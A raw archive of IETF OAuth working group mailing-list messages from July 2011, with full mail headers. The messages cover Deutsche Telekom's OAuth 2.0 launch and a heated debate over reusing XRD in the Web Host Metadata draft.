amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -6.599 X-Spam-Level: X-Spam-Status: No, score=-6.599 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id GHgSPAY1RHV8 for ; Fri, 1 Jul 2011 14:53:14 -0700 (PDT) Received: from ihemail3.lucent.com (ihemail3.lucent.com [135.245.0.37]) by ietfa.amsl.com (Postfix) with ESMTP id C879F11E8188 for ; Fri, 1 Jul 2011 14:53:14 -0700 (PDT) Received: from usnavsmail1.ndc.alcatel-lucent.com (usnavsmail1.ndc.alcatel-lucent.com [135.3.39.9]) by ihemail3.lucent.com (8.13.8/IER-o) with ESMTP id p61LrDXA017118 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 1 Jul 2011 16:53:14 -0500 (CDT) Received: from umail.lucent.com (umail-ce2.ndc.lucent.com [135.3.40.63]) by usnavsmail1.ndc.alcatel-lucent.com (8.14.3/8.14.3/GMO) with ESMTP id p61LrDmq019638 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Fri, 1 Jul 2011 16:53:13 -0500 Received: from [135.222.134.156] (USMUYN0L055118.mh.lucent.com [135.222.134.156]) by umail.lucent.com (8.13.8/TPES) with ESMTP id p61LrD56008750; Fri, 1 Jul 2011 16:53:13 -0500 (CDT) Message-ID: <4E0E41C9.3090608@alcatel-lucent.com> Date: Fri, 01 Jul 2011 17:53:13 -0400 From: Igor Faynberg Organization: Alcatel-Lucent User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 MIME-Version: 1.0 To: oauth@ietf.org References: <4E0E39EA.7040809@lodderstedt.net> In-Reply-To: <4E0E39EA.7040809@lodderstedt.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.57 on 135.245.2.37 X-Scanned-By: MIMEDefang 2.64 on 135.3.39.9 Subject: Re: [OAUTH-WG] Deutsche Telekom launched OAuth 2.0 support X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list Reply-To: igor.faynberg@alcatel-lucent.com List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 01 Jul 2011 21:53:15 -0000 Torsten, With many thanks for the note, I think it would be great if you documented the implementation report in an Informational RFC. In particular, the SIM-based authentication part is of particular interest here--we had this discussion on this list recently-- as it naturally extends the use of the Internet protocols in the telecom environment. I also think that such an implementation report would influence positively the OAuth profiling work that is taking place in ITU-T, OMA and other places. Igor On 7/1/2011 5:19 PM, Torsten Lodderstedt wrote: > Hi all, > > I would like to announce that we recently launched OAuth 2.0 support > in our Security Token Service. It will be used in upcoming consumer > products (e.g. Smartphone apps). > > The current implementation supports draft 10 (but is also inline with > the latest text on native apps). It has the following additional > features: > - Issuance of multiple tokens for different services in single > authorization process (Bulk User Authorization) > - Token revocation > (http://datatracker.ietf.org/doc/draft-lodderstedt-oauth-revocation/) > - custom grant types for token exchange and SIM card authentication > - Token replacement > - Parameter to explicitely request refresh token for "Resource Owner > Password Credentials" grant type > > regards, > Torsten. > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From torsten@lodderstedt.net Fri Jul 1 18:35:05 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id BC8DB11E80C7 for ; Fri, 1 Jul 2011 18:35:05 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.148 X-Spam-Level: X-Spam-Status: No, score=-2.148 tagged_above=-999 required=5 tests=[AWL=0.100, BAYES_00=-2.599, HELO_EQ_DE=0.35, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id FocdnLdABaZf for ; Fri, 1 Jul 2011 18:35:05 -0700 (PDT) Received: from smtprelay02.ispgateway.de (smtprelay02.ispgateway.de [80.67.18.14]) by ietfa.amsl.com (Postfix) with ESMTP id DB1E811E8099 for ; Fri, 1 Jul 2011 18:35:04 -0700 (PDT) Received: from [79.253.51.135] (helo=[192.168.71.31]) by smtprelay02.ispgateway.de with esmtpsa (TLSv1:RC4-MD5:128) (Exim 4.68) (envelope-from ) id 1Qcp6o-0004pD-SE; Sat, 02 Jul 2011 03:34:58 +0200 References: <4E0E39EA.7040809@lodderstedt.net> <4E0E41C9.3090608@alcatel-lucent.com> User-Agent: K-9 Mail for Android In-Reply-To: <4E0E41C9.3090608@alcatel-lucent.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----RU4KKPIDFKWNKXQFH47HIICXSD3MJ6" From: Torsten Lodderstedt Date: Sat, 02 Jul 2011 03:34:54 +0200 To: igor.faynberg@alcatel-lucent.com,oauth@ietf.org Message-ID: <86a5198d-702c-4850-832b-f6c317bbf6de@email.android.com> X-Df-Sender: torsten@lodderstedt-online.de Subject: Re: [OAUTH-WG] Deutsche Telekom launched OAuth 2.0 support X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 02 Jul 2011 01:35:05 -0000 ------RU4KKPIDFKWNKXQFH47HIICXSD3MJ6 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Hi Igor, if this information is of broader interest - why not. Let's talk about this in Quebec. regards, Torsten. Igor Faynberg schrieb: Torsten, With many thanks for the note, I think it would be great if you documented the implementation report in an Informational RFC. In particular, the SIM-based authentication part is of particular interest here--we had this discussion on this list recently-- as it naturally extends the use of the Internet protocols in the telecom environment. I also think that such an implementation report would influence positively the OAuth profiling work that is taking place in ITU-T, OMA and other places. Igor On 7/1/2011 5:19 PM, Torsten Lodderstedt wrote: > Hi all, > > I would like to announce that we recently launched OAuth 2.0 support > in our Security Token Service. It will be used in upcoming consumer > products (e.g. Smartphone apps). > > The current implementation supports draft 10 (but is also inline with > the latest text on native apps). It has the following additional > features: > - Issuance of multiple tokens for different services in single > authorization process (Bulk User Authorization) > - Token revocation > (http://datatracker.ietf.org/doc/draft-lodderstedt-oauth-revocation/) > - custom grant types for token exchange and SIM card authentication > - Token replacement > - Parameter to explicitely request refresh token for "Resource Owner > Password Credentials" grant type > > regards, > Torsten. >_____________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth _____________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth ------RU4KKPIDFKWNKXQFH47HIICXSD3MJ6 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 8bit Hi Igor,

if this information is of broader interest - why not. Let's talk about this in Quebec.

regards,
Torsten.



Igor Faynberg <igor.faynberg@alcatel-lucent.com> schrieb:
Torsten,

With many thanks for the note, I think it would be great if you 
documented the implementation report in an Informational RFC.  In 
particular, the SIM-based authentication part is of particular interest 
here--we had this discussion on this list recently-- as it naturally 
extends the use of the Internet protocols in the telecom environment.

I also think that such an implementation report would influence 
positively  the OAuth profiling work that is taking  place in ITU-T, OMA 
and other places.

Igor

On 7/1/2011 5:19 PM, Torsten Lodderstedt wrote:
> Hi all,
>
> I would like to announce that we recently launched OAuth 2.0 support 
> in our Security Token Service. It will be used in upcoming consumer 
> products (e.g. Smartphone apps).
>
> The current implemen
 tation
supports draft 10 (but is also inline with 
> the latest text on native apps). It has the following additional 
> features:
> - Issuance of multiple tokens for different services in single 
> authorization process (Bulk User Authorization)
> - Token revocation 
> (http://datatracker.ietf.org/doc/draft-lodderstedt-oauth-revocation/)
> - custom grant types for token exchange and SIM card authentication
> - Token replacement
> - Parameter to explicitely request refresh token for "Resource Owner 
> Password Credentials" grant type
>
> regards,
> Torsten.
>

> OAuth mailing list
> OAuth@ietf.org
> https://www.ietf.org/mailman/listinfo/oauth

OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailman/listinfo/oauth
------RU4KKPIDFKWNKXQFH47HIICXSD3MJ6-- From hannes.tschofenig@gmx.net Sun Jul 3 00:36:33 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 9F62B21F8763 for ; Sun, 3 Jul 2011 00:36:33 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.599 X-Spam-Level: X-Spam-Status: No, score=-102.599 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id vmq8EQNReEwm for ; Sun, 3 Jul 2011 00:36:33 -0700 (PDT) Received: from mailout-de.gmx.net (mailout-de.gmx.net [213.165.64.22]) by ietfa.amsl.com (Postfix) with SMTP id 9AF6821F8748 for ; Sun, 3 Jul 2011 00:36:32 -0700 (PDT) Received: (qmail invoked by alias); 03 Jul 2011 07:36:31 -0000 Received: from letku101.adsl.netsonic.fi (EHLO [10.0.0.8]) [194.29.195.101] by mail.gmx.net (mp064) with SMTP; 03 Jul 2011 09:36:31 +0200 X-Authenticated: #29516787 X-Provags-ID: V01U2FsdGVkX196sNo5Kjd62FrqGAYICYSCjMXDTEsvZCO0beqTGC bCS7K+OD5CF/Bz Mime-Version: 1.0 (Apple Message framework v1084) Content-Type: text/plain; charset=us-ascii From: Hannes Tschofenig In-Reply-To: <11CBFBA2-434B-43FC-90C4-DADBACB49226@mnot.net> Date: Sun, 3 Jul 2011 10:36:29 +0300 Content-Transfer-Encoding: quoted-printable Message-Id: <623429C9-70E2-4442-8ECF-AB827FD95251@gmx.net> References: <11CBFBA2-434B-43FC-90C4-DADBACB49226@mnot.net> To: Mark Nottingham X-Mailer: Apple Mail (2.1084) X-Y-GMX-Trusted: 0 Cc: "ietf@ietf.org IETF" , oauth WG Subject: Re: [OAUTH-WG] Second Last Call: (Web Host Metadata) to Proposed Standard -- feedback X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 03 Jul 2011 07:36:33 -0000 I also never really understood why XRD was re-used.=20 Btw, XRD is not used by any of the current OAuth WG documents, see = http://datatracker.ietf.org/wg/oauth/ On Jun 22, 2011, at 8:08 AM, Mark Nottingham wrote: > * XRD -- XRD is an OASIS spec that's used by OpenID and OAuth. Maybe = I'm just scarred by WS-*, but it seems very over-engineered for what it = does. I understand that the communities had reasons for using it to = leverage an existing user base for their specific user cases, but I = don't see any reason to generalise such a beast into a generic = mechanism. From eran@hueniverse.com Sun Jul 3 09:51:07 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 10F7021F86EE for ; Sun, 3 Jul 2011 09:51:07 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.373 X-Spam-Level: X-Spam-Status: No, score=-2.373 tagged_above=-999 required=5 tests=[AWL=0.225, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 7YZD5jr1+gTX for ; Sun, 3 Jul 2011 09:51:06 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 2CA1621F8661 for ; Sun, 3 Jul 2011 09:51:06 -0700 (PDT) Received: (qmail 5539 invoked from network); 3 Jul 2011 16:51:05 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 3 Jul 2011 16:51:04 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Sun, 3 Jul 2011 09:51:04 -0700 From: Eran Hammer-Lahav To: Hannes Tschofenig , Mark Nottingham Date: Sun, 3 Jul 2011 09:50:58 -0700 Thread-Topic: Second Last Call: (Web Host Metadata) to Proposed Standard -- feedback Thread-Index: Acw5oWW/qA3tk1TqROulYHVc1/IFeg== Message-ID: In-Reply-To: <623429C9-70E2-4442-8ECF-AB827FD95251@gmx.net> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_CA35E63A15F21eranhueniversecom_" MIME-Version: 1.0 Cc: "ietf@ietf.org IETF" , oauth WG Subject: Re: [OAUTH-WG] Second Last Call: (Web Host Metadata) to Proposed Standard -- feedback X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 03 Jul 2011 16:51:07 -0000 --_000_CA35E63A15F21eranhueniversecom_ Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Hannes, None of the current OAuth WG document address discovery in any way, so clea= rly there will be no use of XRD. But the OAuth community predating the IETF= had multiple proposals for it. In addition, multiple times on the IETF OAu= th WG list, people have suggested using host-meta and XRD for discovery pur= poses. The idea that XRD was reused without merit is both misleading and mean-spir= ited. Personally, I'm sick of it, especially coming from standards professi= onals. XRD was largely developed by the same people who worked on host-meta. XRD p= redated host-meta and was designed to cover the wider use case. Host-meta w= as an important use case when developing XRD in its final few months. It wa= s done in OASIS out of respect to proper standards process in which the bod= y that originated a work (XRDS) gets to keep it. I challenge anyone to find any faults with the IPR policy or process used t= o develop host-meta in OASIS. XRD is one of the simplest XML formats I have seen. I bet most of the peopl= e bashing it now have never bothered to read it. At least some of these peo= ple have been personally invited by me to comment on XRD while it was still= in development and chose to dismiss it. XRD was designed in a very open process with plenty of community feedback a= nd it was significantly simplified based on that feedback. In addition, hos= t-meta further simplifies it by profiling it down, removing some of the mor= e complex elements like Subject and Alias (which are very useful in other c= ontexts). XRD is nothing more than a cleaner version of HTML element= s with literally a handful of new elements based on well defined and widely= supported requirements. It's entire semantic meaning is based on the IETF = Link relation registry RFC. There is something very disturbing going on these days in how people treat = XML-based formats, especially form OASIS. When host-meta's predecessor - side=96meta =96 was originally proposed a fe= w years ago, Mark Nottingham proposed an XML format not that different from= XRD. There is nothing wrong with JSON taking over as a simpler alternative= . I personally prefer JSON much better. But it would be reckless and counte= r productive to ignore a decade of work on XML formats just because it is n= o longer cool. Feels like we back in high school. If you have technical arguments against host-meta, please share. But if you= r objections are based on changing trends, dislike of XML or anything OASIS= , grow up. EHL From: Hannes Tschofenig > Date: Sun, 3 Jul 2011 00:36:29 -0700 To: Mark Nottingham > Cc: Hannes Tschofenig >, "ietf@ietf.org IETF" >, Eran Hammer-lahav >, oauth WG > Subject: Re: Second Last Call: (Web Host Met= adata) to Proposed Standard -- feedback I also never really understood why XRD was re-used. Btw, XRD is not used by any of the current OAuth WG documents, see http://d= atatracker.ietf.org/wg/oauth/ On Jun 22, 2011, at 8:08 AM, Mark Nottingham wrote: * XRD -- XRD is an OASIS spec that's used by OpenID and OAuth. Maybe I'm ju= st scarred by WS-*, but it seems very over-engineered for what it does. I u= nderstand that the communities had reasons for using it to leverage an exis= ting user base for their specific user cases, but I don't see any reason to= generalise such a beast into a generic mechanism. --_000_CA35E63A15F21eranhueniversecom_ Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
Hannes,

None of the current OAuth WG document address discovery in any way, so cl= early there will be no use of XRD. But the OAuth community predating the IE= TF had multiple proposals for it. In addition, multiple times on the IETF O= Auth WG list, people have suggested using host-meta and XRD for discovery p= urposes.

The idea that XRD was reused without meri= t is both misleading and mean-spirited. Personally, I'm sick of it, especia= lly coming from standards professionals.

XRD was l= argely developed by the same people who worked on host-meta. XRD predated h= ost-meta and was designed to cover the wider use case. Host-meta was an imp= ortant use case when developing XRD in its final few months. It was done in= OASIS out of respect to proper standards process in which the body that or= iginated a work (XRDS) gets to keep it.

I challeng= e anyone to find any faults with the IPR policy or process used to develop = host-meta in OASIS.

XRD is one of the simplest XML= formats I have seen. I bet most of the people bashing it now have never bo= thered to read it. At least some of these people have been personally invit= ed by me to comment on XRD while it was still in development and chose to d= ismiss it.

XRD was designed in a very open process= with plenty of community feedback and it was significantly simplified base= d on that feedback. In addition, host-meta further simplifies it by profili= ng it down, removing some of the more complex elements like Subject and Ali= as (which are very useful in other contexts). XRD is nothing more than a cl= eaner version of HTML <LINK> elements with literally a handful of new= elements based on well defined and widely supported requirements. It's ent= ire semantic meaning is based on the IETF Link relation registry RFC.
=

There is something very disturbing going on these days = in how people treat XML-based formats, especially form OASIS.
When host-meta's predecessor - side=96meta =96 was originally p= roposed a few years ago, Mark Nottingham proposed an XML format not that di= fferent from XRD. There is nothing wrong with JSON taking over as a si= mpler alternative. I personally prefer JSON much better. But it would be re= ckless and counter productive to ignore a decade of work on XML formats jus= t because it is no longer cool. Feels like we back in high school.

If you have technical arguments against host-meta, please = share. But if your objections are based on changing trends, dislike of XML = or anything OASIS, grow up.

EHL



From:= Hannes Tschofenig <hannes.tschofenig@gmx.net>
Date= : Sun, 3 Jul 2011 00:36:29 -0700
To: Mark Nottingham <mnot@mno= t.net>
Cc: Hannes Tschof= enig <hannes.tschofenig@gmx= .net>, "ietf@ietf.org IETF= " <ietf@ietf.org>, Eran Ham= mer-lahav <eran@hueniverse.com>, oauth WG <oauth@ietf.org>= ;
Subject: Re: Second Last Call= : <draft-hammer-hostmeta-16.txt> (Web Host Metadata) to Proposed Stan= dard -- feedback

I also never really understood why XRD was= re-used.

Btw, XRD is not used by any of the curr= ent OAuth WG documents, see http://datatracker.ietf.org/wg/oauth/


<= /div>
On Jun 22, 2011, at 8:08 AM, Mark Nottingham wrote:
* XRD -- X= RD is an OASIS spec that's used by OpenID and OAuth. Maybe I'm just scarred= by WS-*, but it seems very over-engineered for what it does. I understand = that the communities had reasons for using it to leverage an existing user = base for their specific user cases, but I don't see any reason to generalis= e such a beast into a generic mechanism.

<= div>
 --_000_CA35E63A15F21eranhueniversecom_-- From wmills@yahoo-inc.com Sun Jul 3 11:02:00 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id C4E8D21F86C0 for ; Sun, 3 Jul 2011 11:02:00 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -14.548 X-Spam-Level: X-Spam-Status: No, score=-14.548 tagged_above=-999 required=5 tests=[AWL=3.050, BAYES_00=-2.599, HTML_MESSAGE=0.001, USER_IN_DEF_WHITELIST=-15] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id jRRGP0m8foDv for ; Sun, 3 Jul 2011 11:02:00 -0700 (PDT) Received: from nm23-vm0.bullet.mail.bf1.yahoo.com (nm23-vm0.bullet.mail.bf1.yahoo.com [98.139.212.191]) by ietfa.amsl.com (Postfix) with SMTP id 3A97E228012 for ; Sun, 3 Jul 2011 11:02:00 -0700 (PDT) Received: from [98.139.212.153] by nm23.bullet.mail.bf1.yahoo.com with NNFMP; 03 Jul 2011 18:01:56 -0000 Received: from [98.139.212.196] by tm10.bullet.mail.bf1.yahoo.com with NNFMP; 03 Jul 2011 18:01:56 -0000 Received: from [127.0.0.1] by omp1005.mail.bf1.yahoo.com with NNFMP; 03 Jul 2011 18:01:56 -0000 X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 74968.39203.bm@omp1005.mail.bf1.yahoo.com Received: (qmail 74029 invoked by uid 60001); 3 Jul 2011 18:01:55 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo-inc.com; s=ginc1024; t=1309716115; bh=3/SAPWdkOYBPRxqHxo9z8eWvP2so1RJBN+/47PMC4/g=; h=X-YMail-OSG:Received:X-RocketYMMF:X-Mailer:References:Message-ID:Date:From:Reply-To:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type; b=U+CRuJQhCFVo1fTcqhPFLGf0x6XBWynipVJxtfRQ6q0QgoJwf+z/S/FQX+msQT4jnZrMweLJp/nrolYnIqlZHd+MOLQNlQe0861UmASpctpuDOrUL2pjBs8UY91FYOc0ttOE+UItrvwcEIZYu44pNqFNAxT1HKUCx8mTD/3A2Mg= DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=ginc1024; d=yahoo-inc.com; h=X-YMail-OSG:Received:X-RocketYMMF:X-Mailer:References:Message-ID:Date:From:Reply-To:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type; b=ryq3Lvou6hXs5q/wNc6HL+KHr574UR6LpsohHGmA4oldKVXzOADarj8hs7sPVadkQQwK4FHwTDHw46uWnZ+NTAVwPvAHrEJbQpr55riPe+cmMPU/9nPAi9+ldxMb9JTewN4oXmMfuaCpCXcf4pzY7bbdvLy5x+W0HlqAiVsqzVk=; X-YMail-OSG: _QQgX8kVM1lGy4EnbZtDfkquf0jCJMql29wwxhJFARansqd m.hR96Y3_mtUMeStFXtD4YQwKx7PogQCt0aNitYfih1mpWCraBseQtbt0vWu qK.w8C7c5hOjC98M.L9rzIzhUQsV4zGJvzxoNWpOvVvuGQz0XCr2ueewe7Ri CNaEyLKtRCr_FGEXzWR31trlSxj3.DoIfI6L97tFn6V9.XzVG0fgzTIli350 jppW6Q3OZBWJ9zA_iBJ.1D9SFA_nr4BJgsAdLd37_w8DQwFVBPFNqHIKuoXE 5z.SfQH3MhRLqs_xtU3ZgEM9JUFumtqXKeucNzdT.YBP22VBtElOiUvPOlUi ew5.aOUzsk6fQhTudTAoVv.hWubhWX5.wrjIp_EIK Received: from [209.131.62.115] by web31813.mail.mud.yahoo.com via HTTP; Sun, 03 Jul 2011 11:01:55 PDT X-RocketYMMF: william_john_mills X-Mailer: YahooMailWebService/0.8.112.310352 References: <623429C9-70E2-4442-8ECF-AB827FD95251@gmx.net> Message-ID: <1309716115.33071.YahooMailNeo@web31813.mail.mud.yahoo.com> Date: Sun, 3 Jul 2011 11:01:55 -0700 (PDT) From: "William J. Mills" To: Eran Hammer-Lahav , Hannes Tschofenig , Mark Nottingham In-Reply-To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-541410507-1309716115=:33071" Cc: "ietf@ietf.org IETF" , oauth WG Subject: Re: [OAUTH-WG] Second Last Call: (Web Host Metadata) to Proposed Standard -- feedback X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list Reply-To: "William J. Mills" List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 03 Jul 2011 18:02:00 -0000 --0-541410507-1309716115=:33071 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable FYI there is a form of discovery for OAuth defined in http://tools.ietf.org= /html/draft-mills-kitten-sasl-oauth-02 which uses LINK headers.=0A=0A=0A=0A= ________________________________=0AFrom: Eran Hammer-Lahav =0ATo: Hannes Tschofenig ; Mark Nottingham = =0ACc: "ietf@ietf.org IETF" ; oauth WG =0ASent: Sunday, July 3, 2011 9:50 AM=0ASubject: Re: [OAUTH-WG] S= econd Last Call: (Web Host Metadata) to Prop= osed Standard -- feedback=0A=0A=0AHannes,=0A=0ANone of the current OAuth WG= document address discovery in any way, so clearly there will be no use of = XRD. But the OAuth community predating the IETF had multiple proposals for = it. In addition, multiple times on the IETF OAuth WG list, people have sugg= ested using host-meta and XRD for discovery purposes.=0A=0AThe idea that XR= D was reused without merit is both misleading and mean-spirited. Personally= , I'm sick of it, especially coming from standards professionals.=0A=0AXRD = was largely developed by the same people who worked on host-meta. XRD preda= ted host-meta and was designed to cover the wider use case. Host-meta was a= n important use case when developing XRD in its final few months. It was do= ne in OASIS out of respect to proper standards process in which the body th= at originated a work (XRDS) gets to keep it.=0A=0AI challenge anyone to fin= d any faults with the IPR policy or process used to develop host-meta in OA= SIS.=0A=0AXRD is one of the simplest XML formats I have seen. I bet most of= the people bashing it now have never bothered to read it. At least some of= these people have been personally invited by me to comment on XRD while it= was still in development and chose to dismiss it.=0A=0AXRD was designed in= a very open process with plenty of community feedback and it was significa= ntly simplified based on that feedback. In addition, host-meta further simp= lifies it by profiling it down, removing some of the more complex elements = like Subject and Alias (which are very useful in other contexts). XRD is no= thing more than a cleaner version of HTML elements with literally a = handful of new elements based on well defined and widely supported requirem= ents. It's entire semantic meaning is based on the IETF Link relation regis= try RFC.=0A=0AThere is something very disturbing going on these days in how= people treat XML-based formats, especially form OASIS.=0A=0AWhen host-meta= 's predecessor - side=E2=80=93meta =E2=80=93 was originally proposed a few = years ago, Mark Nottingham proposed an XML format not that different from X= RD.=C2=A0There is nothing wrong with JSON taking over as a simpler alternat= ive. I personally prefer JSON much better. But it would be reckless and cou= nter productive to ignore a decade of work on XML formats just because it i= s no longer cool. Feels like we back in high school.=0A=0AIf you have techn= ical arguments against host-meta, please share. But if your objections are = based on changing trends, dislike of XML or anything OASIS, grow up.=0A=0AE= HL=0A=0A=0AFrom: Hannes Tschofenig =0ADate: Su= n, 3 Jul 2011 00:36:29 -0700=0ATo: Mark Nottingham =0ACc: = Hannes Tschofenig , "ietf@ietf.org IETF" , Eran Hammer-lahav , oauth WG =0ASubject: Re: Second Last Call: (Web Hos= t Metadata) to Proposed Standard -- feedback=0A=0A=0AI also never really un= derstood why XRD was re-used. =0A>=0A>=0A>Btw, XRD is not used by any of th= e current OAuth WG documents, see http://datatracker.ietf.org/wg/oauth/=0A>= =0A>=0A>=0A>=0A>On Jun 22, 2011, at 8:08 AM, Mark Nottingham wrote:=0A>=0A>= =0A>* XRD -- XRD is an OASIS spec that's used by OpenID and OAuth. Maybe I'= m just scarred by WS-*, but it seems very over-engineered for what it does.= I understand that the communities had reasons for using it to leverage an = existing user base for their specific user cases, but I don't see any reaso= n to generalise such a beast into a generic mechanism.=0A>=0A>=0A>=0A>=0A__= _____________________________________________=0AOAuth mailing list=0AOAuth@= ietf.org=0Ahttps://www.ietf.org/mailman/listinfo/oauth --0-541410507-1309716115=:33071 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable
FYI there is a form of discovery for OAuth defined in http://tools.ietf.o= rg/html/draft-mills-kitten-sasl-oauth-02 which uses LINK headers.

From: Eran Hammer-Lahav <eran@hueniverse.com>
To: Hannes Tschofenig <hannes.tschofenig@gmx.ne= t>; Mark Nottingham <mnot@mnot.net>
Cc: "ietf@ietf.org IETF" <ietf@ietf.org>; oauth= WG <oauth@ietf.org>
Sent: Sunday, July 3, 2011 9:50 AM
Subj= ect: Re: [OAUTH-WG] Second Last Call: <draft-hammer-hostmeta-= 16.txt> (Web Host Metadata) to Proposed Standard -- feedback
<= br>=0A
=0A
Hannes,

No= ne of the current OAuth WG document address discovery in any way, so clearl= y there will be no use of XRD. But the OAuth community predating the IETF h= ad multiple proposals for it. In addition, multiple times on the IETF OAuth= WG list, people have suggested using host-meta and XRD for discovery purpo= ses.

The idea that XRD was reused without merit is= both misleading and mean-spirited. Personally, I'm sick of it, especially = coming from standards professionals.

XRD was large= ly developed by the same people who worked on host-meta. XRD predated host-= meta and was designed to cover the wider use case. Host-meta was an importa= nt use case when developing XRD in its final few months. It was done in OAS= IS out of respect to proper standards process in which the body that origin= ated a work (XRDS) gets to keep it.

I challenge an= yone to find any faults with the IPR policy or process used to develop host-meta in OASIS.
XRD is one of the simplest XML formats I have seen. I bet most= of the people bashing it now have never bothered to read it. At least some= of these people have been personally invited by me to comment on XRD while= it was still in development and chose to dismiss it.

<= div>XRD was designed in a very open process with plenty of community feedba= ck and it was significantly simplified based on that feedback. In addition,= host-meta further simplifies it by profiling it down, removing some of the= more complex elements like Subject and Alias (which are very useful in oth= er contexts). XRD is nothing more than a cleaner version of HTML <LINK&g= t; elements with literally a handful of new elements based on well defined = and widely supported requirements. It's entire semantic meaning is based on= the IETF Link relation registry RFC.

There is something very disturbing going on these days in how people treat XML-b= ased formats, especially form OASIS.

When host-met= a's predecessor - side=E2=80=93meta =E2=80=93 was originally proposed a few= years ago, Mark Nottingham proposed an XML format not that different from = XRD. There is nothing wrong with JSON taking over as a simpler alterna= tive. I personally prefer JSON much better. But it would be reckless and co= unter productive to ignore a decade of work on XML formats just because it = is no longer cool. Feels like we back in high school.

<= div>If you have technical arguments against host-meta, please share. But if= your objections are based on changing trends, dislike of XML or anything O= ASIS, grow up.

EHL



From: Hannes Tschofe= nig <hannes.tschofenig= @gmx.net>
Date: Sun, 3= Jul 2011 00:36:29 -0700
To: = Mark Nottingham <mnot@mnot.net>
